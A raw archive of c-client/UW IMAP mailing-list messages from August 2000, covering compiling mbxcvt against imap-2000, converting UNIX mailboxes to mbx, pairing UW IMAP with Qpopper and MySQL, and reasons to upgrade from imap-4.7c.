X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > [rolf@bay mbxcvt]$ make > `cat ../c-client/CCTYPE` -I../c-client `cat ../c-client/CFLAGS` -c -o > mbxcvt.o mbxcvt.c > mbxcvt.c: In function `main': > mbxcvt.c:175: warning: passing arg 3 of pointer to function from > incompatible pointer type > mbxcvt.c:175: too few arguments to function > make: *** [mbxcvt.o] Error 1 > > I'm running RH6.2 (i386). > I had to amend the C = ../imap-2000/c-client as I'm running imap-4.7c. > You have to compile it with imap-2000. Old imap-utils cannot be compiled with new c-client; obviously, new imap-utils cannot be compiled with old c-client :-) I just successfully compiled imap-2000-RC4 and imap-utils. May be, as long as imap-4.7 is around, there should be two versions of imap-utils with clear names (imap-utils-4.7 and imap-util-2000). -andrej From pinedev@shivax2.cac.washington.edu Thu Aug 24 10:45:43 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Aug 2000 10:45:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA11853 for ; Thu, 24 Aug 2000 10:45:41 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA22010; Thu, 24 Aug 2000 10:45:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA09080; Thu, 24 Aug 2000 10:45:00 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA124274 for ; Thu, 24 Aug 2000 10:44:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (guest@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA07439 for ; Thu, 24 Aug 2000 10:43:59 -0700 Message-Id: Date: Thu, 24 Aug 2000 10:32:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rolf Habing Cc: c-client@u.washington.edu Subject: re: Problems compiling mbxcvt In-Reply-To: <39A50236.3A5BC2DD@cant.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Aug 2000 12:08:38 +0100, Rolf Habing wrote: > I had to amend the C = ../imap-2000/c-client as I'm running imap-4.7c. That's the cause of the problem. The current version of mbxcvt must be built with imap-2000. It does not build with imap-4.7. The IMAP utilities often use special, undocumented and unofficial interfaces, and as such are more dependent upon the version of the IMAP toolkit than ordinary applications. In the case of mbxcvt, it does direct-driver calls (don't try this at home, kids!) because it has to evade c-client's normal behavior. This is why a specific version is always used in the IMAP utilities makefiles, as opposed to a generic imap/c-client (e.g. in Pine). From pinedev@shivax2.cac.washington.edu Thu Aug 24 10:51:21 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Aug 2000 10:51:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA26363 for ; Thu, 24 Aug 2000 10:51:19 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA22484; Thu, 24 Aug 2000 10:51:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA09342; Thu, 24 Aug 2000 10:50:46 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA21922 for ; Thu, 24 Aug 2000 10:50:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (mace@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA29088 for ; Thu, 24 Aug 2000 10:50:02 -0700 Message-Id: Date: Thu, 24 Aug 2000 10:48:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrej Borsenkow Cc: Rolf Habing , c-client@u.washington.edu Subject: RE: Problems compiling mbxcvt In-Reply-To: <000901c00dc2$22af8a80$21c9ca95@mow.siemens.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Aug 2000, Andrej Borsenkow wrote: > May be, as long as imap-4.7 is around, there should be two versions of > imap-utils with clear names (imap-utils-4.7 and imap-util-2000). This may be a good idea. The problem is that I don't want to maintain two versions for an extended period of time, especially as there have been some bugfixes. imap-4.x is dead. Long live imap-2000 (and successors)... :-) -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Aug 24 12:29:48 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Aug 2000 12:29:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA11061 for ; Thu, 24 Aug 2000 12:29:46 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA25814; Thu, 24 Aug 2000 12:29:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA13791; Thu, 24 Aug 2000 12:29:02 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA122736 for ; Thu, 24 Aug 2000 12:28:10 -0700 Received: from basil.cant.ac.uk (basil.cant.ac.uk [194.66.208.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA16699 for ; Thu, 24 Aug 2000 12:28:09 -0700 Received: from cant.ac.uk (IDENT:rolf@bay [5.0.9.76]) by basil.cant.ac.uk (8.9.3/8.9.3) with ESMTP id UAA13829 for ; Thu, 24 Aug 2000 20:28:08 +0100 (BST) Message-Id: <39A57748.3E992F61@cant.ac.uk> Date: Thu, 24 Aug 2000 20:28:08 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rolf Habing To: c-client@u.washington.edu Subject: Moving from unix mailbox to mbx MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: rolf@canterbury.ac.uk X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to find out how to convert from UNIX mailbox format to mbx. I've got the latest version of imapd installed - imap-2000.RELEASE-CANDIDATE.5 and have also got the imap-utils to go with it. When I convert a sample inbox file (one from my old mail server) to mbx format with # mbxcvt rjh1 mbx rolf then the conversion does result in an mbx format mailbox. However, when I move this new mbx file (rolf) into /var/spool/mail, then I cannot see it when accessing it with a mail client. I did compile imap-2000 with make slx, and have set EXTRADRIVERS in Makefile to mbx instead of mbox. I guess it's something simple that I', missing, but i cannot figure it out. I've been scanning the archives and newsgroups for a couple of days now, without any luck. Our site will soon get a new mail server, which will run RH6.2, and I'm trying to find out how to move all the 20,000 users accross. Ideally I'd like to convert all the mailfolders to something somewhat more efficient than the current UNIX format. I would be very grateful for any advice that you could give. Thanks, Rolf Habing Systems and Networking Canterbury Christ Church University College -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 24 16:09:55 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Aug 2000 16:09:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA16361 for ; Thu, 24 Aug 2000 16:09:53 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA00658; Thu, 24 Aug 2000 16:09:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA14789; Thu, 24 Aug 2000 16:09:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA89814 for ; Thu, 24 Aug 2000 16:07:29 -0700 Received: from mail.freeview.com (IDENT:exim@mail.freeview.com [216.251.140.152]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA00562 for ; Thu, 24 Aug 2000 16:07:28 -0700 Received: from condom.freeview.com ([216.251.140.131] helo=polar) by mail.freeview.com with smtp (Exim 3.13 #18) id 13S66K-0001pD-00 for c-client@u.washington.edu; Thu, 24 Aug 2000 16:08:00 -0700 Message-Id: Date: Thu, 24 Aug 2000 16:07:06 -0700 Reply-To: "Allan Rafuse" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Allan Rafuse" To: "c-client@u.washington.edu" Subject: IMAP Setup MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Currently I'm running Qpopper 3.0. I'm wanting to implement IMAP into our system, but we have a semi custom setup here. Qpopper is patched to authenticate the user through a MySQL database and get the users mailbox path from theres. Which is stored as: Droppath_col = /var/spool/mail/domainname.com/allan (Login name is: allan@freeview.com) Is it possible to run UW IMAP and Qpopper together with Mysql? I have used Cyrus before a long time ago and hated the mailboxes text file. It got huge, corrupted and was a pain. How does UW's IMAP store the users email/keep track of the users IMAP folders? Thanks, -Allan <- Allan Rafuse -> Systems Administrator Freeview Publishing Inc. email: allan@freeview.com web: http://www.freeview.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Aug 24 22:49:23 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 24 Aug 2000 22:49:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA24180 for ; Thu, 24 Aug 2000 22:49:22 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA11574; Thu, 24 Aug 2000 22:49:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA24816; Thu, 24 Aug 2000 22:48:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA39498 for ; Thu, 24 Aug 2000 22:47:08 -0700 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA28481 for ; Thu, 24 Aug 2000 22:47:07 -0700 Received: from mail2.siemens.de (mail2.siemens.de [139.25.208.11]) by david.siemens.de (8.10.1/8.10.1) with ESMTP id e7P5l5U02948; Fri, 25 Aug 2000 07:47:05 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail2.siemens.de (8.10.1/8.10.1) with ESMTP id e7P5l4E00208; Fri, 25 Aug 2000 07:47:04 +0200 (MET DST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id RSBPCSDX; Fri, 25 Aug 2000 09:51:05 +0400 Message-Id: <000001c00e57$e4dfa6e0$21c9ca95@mow.siemens.ru> Date: Fri, 25 Aug 2000 09:47:03 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "Mark Crispin" Cc: "Rolf Habing" , Subject: RE: Problems compiling mbxcvt In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Thu, 24 Aug 2000, Andrej Borsenkow wrote: > > May be, as long as imap-4.7 is around, there should be two versions of > > imap-utils with clear names (imap-utils-4.7 and imap-util-2000). > > This may be a good idea. The problem is that I don't want to maintain two > versions for an extended period of time, especially as there have been > some bugfixes. > > imap-4.x is dead. Long live imap-2000 (and successors)... :-) > > -- Mark -- Then I suggest at least renaming imap-utils into imap-utils-2000 (or like) to make it clear they are for new c-client. May be, for the future it also makes sense to keep names in sync. -andrej From pinedev@shivax2.cac.washington.edu Fri Aug 25 08:29:56 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Aug 2000 08:29:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA26737 for ; Fri, 25 Aug 2000 08:29:54 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA22449; Fri, 25 Aug 2000 08:29:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA14459; Fri, 25 Aug 2000 08:29:12 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA147086 for ; Fri, 25 Aug 2000 08:27:30 -0700 Received: from raq2.bynari.net ([216.234.235.143]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA19042 for ; Fri, 25 Aug 2000 08:27:29 -0700 Received: from python (gw1.bynari.net [216.234.228.98]) by raq2.bynari.net (8.9.3/8.9.3) with SMTP id JAA22777; Fri, 25 Aug 2000 09:14:03 -0500 Message-Id: <000001c00eaa$051957b0$4403a8c0@bynari.net> Date: Fri, 25 Aug 2000 10:34:55 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Greg Copeland" To: "'Andrej Borsenkow'" , "'Mark Crispin'" Cc: "'Rolf Habing'" , Subject: RE: Problems compiling mbxcvt In-Reply-To: <000001c00e57$e4dfa6e0$21c9ca95@mow.siemens.ru> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to say that I completely agree with this thread. The distinction should be make clear. In this vein, is there a pressing need or requirement to migrate from 4.7c to the 2000 series? Has the interface changed much, if any? What would be the expected return on such a move? Thanks, Greg -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Andrej Borsenkow Sent: Friday, August 25, 2000 12:47 AM To: Mark Crispin Cc: Rolf Habing; c-client@u.washington.edu Subject: RE: Problems compiling mbxcvt > On Thu, 24 Aug 2000, Andrej Borsenkow wrote: > > May be, as long as imap-4.7 is around, there should be two versions of > > imap-utils with clear names (imap-utils-4.7 and imap-util-2000). > > This may be a good idea. The problem is that I don't want to maintain two > versions for an extended period of time, especially as there have been > some bugfixes. > > imap-4.x is dead. Long live imap-2000 (and successors)... :-) > > -- Mark -- Then I suggest at least renaming imap-utils into imap-utils-2000 (or like) to make it clear they are for new c-client. May be, for the future it also makes sense to keep names in sync. -andrej From pinedev@shivax2.cac.washington.edu Fri Aug 25 09:25:45 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Aug 2000 09:25:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA19308 for ; Fri, 25 Aug 2000 09:25:44 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA24294; Fri, 25 Aug 2000 09:25:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA19662; Fri, 25 Aug 2000 09:25:19 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA53912 for ; Fri, 25 Aug 2000 09:23:08 -0700 Received: from raq2.bynari.net ([216.234.235.143]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA29126 for ; Fri, 25 Aug 2000 09:23:07 -0700 Received: from python (gw1.bynari.net [216.234.228.98]) by raq2.bynari.net (8.9.3/8.9.3) with SMTP id KAA23638 for ; Fri, 25 Aug 2000 10:18:55 -0500 Message-Id: <000301c00eb3$143f4700$4403a8c0@bynari.net> Date: Fri, 25 Aug 2000 11:39:45 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Greg Copeland" To: Subject: c-client on win32 w/cygwin MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 1 (Highest) X-MSMail-Priority: High X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Has anyone successfully ported/compiled c-client using cygwin/mingw on Win32? Thanks, Greg -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 25 12:42:33 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Aug 2000 12:42:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA30744 for ; Fri, 25 Aug 2000 12:42:30 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA30304; Fri, 25 Aug 2000 12:42:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA26434; Fri, 25 Aug 2000 12:41:57 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA64074 for ; Fri, 25 Aug 2000 12:41:10 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gle@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA16690 for ; Fri, 25 Aug 2000 12:41:10 -0700 Message-Id: Date: Fri, 25 Aug 2000 12:25:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Greg Copeland Cc: "'Andrej Borsenkow'" , "'Rolf Habing'" Subject: RE: Problems compiling mbxcvt In-Reply-To: <000001c00eaa$051957b0$4403a8c0@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 25 Aug 2000 10:34:55 -0500, Greg Copeland wrote: > In this vein, is there a pressing need or requirement to migrate from 4.7c > to the 2000 series? Has the interface changed much, if any? What would be > the expected return on such a move? Here's some of the reasons: imap-2000 has bug fixes, most notably to "header size inconsistent" crashes on UNIX. imap-2000 supports SSL. imap-2000 supports MULTIAPPEND and LOGINDISABLED capability. imap-2000 handles non-Y2K compliant dates better. imap-2000 supports SASL authentication/authorization identity functionality. All development and bugfixing happens in whatever version is called "BETA" or "RELEASE CANDIDATE". The only reason why there were patch releases to 4.7 was due to the legal delay in releasing a beta for imap-2000 (due to SSL). That question was resolved a few months ago. There will be no more 4.7 patch releases. Upgrading is a good thing. This is especially true with server software. Server upgrades are less likely to be cosmetic and more likely to address some important problem or deficiency. From pinedev@shivax2.cac.washington.edu Sat Aug 26 01:02:21 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 26 Aug 2000 01:02:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA24529 for ; Sat, 26 Aug 2000 01:02:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA15329; Sat, 26 Aug 2000 01:02:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA15619; Sat, 26 Aug 2000 01:01:06 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA15384 for ; Sat, 26 Aug 2000 00:34:39 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gibb@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA07126 for ; Sat, 26 Aug 2000 00:34:39 -0700 Message-Id: Date: Sat, 26 Aug 2000 00:34:32 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Allan Rafuse Cc: "c-client@u.washington.edu" Subject: Re: IMAP Setup In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 24 Aug 2000, Allan Rafuse wrote: > Is it possible to run UW IMAP and Qpopper together with Mysql? Source code to UW IMAP is available, so presumably you can duplicate what you did in qpopper. Look at routine checkpw() and the ckp_???.c files to see what you need to do. Note that every UW IMAP login must have a UNIX user ID. The security model depends upon it. > I have used Cyrus before a long time ago and hated the mailboxes text > file. It got huge, corrupted and was a pain. How does UW's IMAP > store the users email/keep track of the users IMAP folders? In its default mode UW IMAP uses ordinary UNIX mailbox files. The INBOX mailbox is in the spool directory, and the user's UNIX home directory is used for non-INBOX mailboxes. There are instructions in the documentation (imap-2000/docs/CONFIG) for how you can use different defaults. From pinedev@shivax2.cac.washington.edu Sat Aug 26 10:35:14 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 26 Aug 2000 10:35:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA20539 for ; Sat, 26 Aug 2000 10:35:12 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA25363; Sat, 26 Aug 2000 10:35:10 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA22419; Sat, 26 Aug 2000 10:34:43 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA147092 for ; Sat, 26 Aug 2000 10:33:04 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA12879 for ; Sat, 26 Aug 2000 10:33:04 -0700 Received: from aragorn.neomedia.it (aragorn.neomedia.it [195.103.207.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA24690; Sat, 26 Aug 2000 10:33:00 -0700 Received: from neomedia.it (elrond.neomedia.it [195.120.250.8]) by aragorn.neomedia.it (8.10.1/8.10.1) with ESMTP id e7QHWvf31641; Sat, 26 Aug 2000 19:32:57 +0200 (CEST) Message-Id: <39A7FF48.BD339D83@neomedia.it> Date: Sat, 26 Aug 2000 19:32:56 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Federico Giannici To: Mark Crispin Cc: c-client Interest List Subject: Re: Problems compiling mbxcvt References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: giannici@neomedia.it X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > > On Fri, 25 Aug 2000 10:34:55 -0500, Greg Copeland wrote: > > In this vein, is there a pressing need or requirement to migrate from 4.7c > > to the 2000 series? Has the interface changed much, if any? What would be > > the expected return on such a move? > > Here's some of the reasons: > > imap-2000 has bug fixes, most notably to "header size inconsistent" crashes on > UNIX. > > imap-2000 supports SSL. > > imap-2000 supports MULTIAPPEND and LOGINDISABLED capability. > > imap-2000 handles non-Y2K compliant dates better. > > imap-2000 supports SASL authentication/authorization identity functionality. > > All development and bugfixing happens in whatever version is called "BETA" or > "RELEASE CANDIDATE". The only reason why there were patch releases to 4.7 was > due to the legal delay in releasing a beta for imap-2000 (due to SSL). That > question was resolved a few months ago. There will be no more 4.7 patch > releases. > > Upgrading is a good thing. This is especially true with server software. > Server upgrades are less likely to be cosmetic and more likely to address some > important problem or deficiency. And is there any sensible speed improvement from 4.7c and 2000 with the mbox format? Thanks, ___________________________________________________ __ |- giannici@neomedia.it |ederico Giannici http://www.neomedia.it ___________________________________________________ From pinedev@shivax2.cac.washington.edu Mon Aug 28 17:03:26 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Aug 2000 17:03:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA01282 for ; Mon, 28 Aug 2000 17:03:25 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA26381; Mon, 28 Aug 2000 17:03:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA13158; Mon, 